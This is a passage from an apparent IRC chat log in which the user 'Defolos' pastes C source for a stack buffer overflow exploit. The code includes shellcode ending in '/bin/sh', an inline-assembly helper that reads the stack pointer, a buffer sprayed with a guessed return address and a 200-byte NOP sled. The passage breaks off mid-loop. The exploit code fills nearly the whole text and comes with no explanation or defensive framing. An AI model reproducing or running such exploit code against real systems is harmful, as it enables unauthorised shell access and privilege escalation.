"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73" 23:56 [Defolos] "\x68"; 23:56 [Defolos] 23:56 [Defolos] unsigned long sp (void){ 23:56 [Defolos] __asm__("movl %esp, %eax"); 23:56 [Defolos] } 23:56 [Defolos] 23:56 [Defolos] int main (int argc, char *argv[]){ 23:56 [Defolos] int i, offset; 23:56 [Defolos] long esp, ret, *addr_ptr; 23:56 [Defolos] char *buffer, *ptr; 23:56 [Defolos] offset = 0; 23:56 [Defolos] esp = sp(); 23:56 [Defolos] ret = esp - offset; 23:56 [Defolos] buffer = malloc(600); 23:56 [Defolos] ptr = buffer; 23:56 [Defolos] addr_ptr = (long *)ptr; 23:56 [Defolos] 23:56 [Defolos] for (i=0; i<600; i += 4) 23:56 [Defolos] *(addr_ptr++) = ret; 23:56 [Defolos] 23:56 [Defolos] for (i=0; i<200; i++) 23:56 [Defolos] buffer[i] = '\x90'; 23:56 [Defolos] 23:56 [Defolos] ptr = buffer + 200; 23:56 [Defolos] for (i=0; i